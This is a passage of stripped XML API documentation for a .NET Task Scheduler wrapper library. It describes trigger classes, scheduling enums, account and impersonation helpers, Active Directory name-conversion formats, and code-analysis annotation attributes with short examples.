Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the task. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + + + Gets or sets a Boolean value that indicates if a running instance of the task is stopped at the end of repetition pattern duration. + + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Determines whether any properties for this have been set. + true if properties have been set; otherwise, false. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Triggers tasks for console connect or disconnect, remote connect or disconnect, or workstation lock or unlock notifications. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + + The SessionStateChangeTrigger will fire after six different system events: connecting or disconnecting locally or remotely, or + locking or unlocking the session. + + + + + + + + + Creates an unbound instance of a . + + + Initializes a new instance of the class. + The state change. + The user identifier. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the kind of Terminal Server session change that would trigger a task launch. + + + + Gets or sets the user for the Terminal Server session. When a session state change is detected for this user, a task is started. + + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Returns a value indicating if the StateChange property has been set. + StateChange property has been set. + + + Represents a trigger that starts a task at a specific date and time. + A TimeTrigger runs at a specified date and time. + + + + + + + + Creates an unbound instance of a . + + + Creates an unbound instance of a and assigns the execution time. + Date and time for the trigger to fire. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of + the week every week or every other week. + + A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. + + + + + + + + Creates an unbound instance of a . + The days of the week. + The interval between the weeks in the schedule. + + + Gets or sets the days of the week on which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets the interval between the weeks in the schedule. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + Provides the methods that are used to add to, remove from, and get the triggers of a task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of triggers in the collection. + + + Gets or sets a specified trigger from the collection. + The . + The id ( ) of the trigger to be retrieved. + Specialized instance. + + + + Mismatching Id for trigger and lookup. + + + Gets a specified trigger from the collection. + The index of the trigger to be retrieved. + Specialized instance. + + + Add an unbound to the task. + A type derived from . + derivative to add to the task. + Bound trigger. + unboundTrigger is null. + + + Add a new trigger to the collections of triggers for the task. + The type of trigger to create. + A instance of the specified type. + + + Adds a collection of unbound triggers to the end of the . + + The triggers to be added to the end of the . The collection itself cannot be null and + cannot contain null elements. + + is null. + + + Clears all triggers from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified trigger type is contained in this collection. + Type of the trigger. + true if the specified trigger type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an , starting at a particular index. + + + The one-dimensional that is the destination of the elements copied from . The + must have zero-based indexing. + + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + The for this collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the trigger to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an trigger at the specified index. + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the trigger at a specified index. + Index of trigger to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the triggers in this collection. + A that represents the triggers in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Releases all resources used by this class. + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + 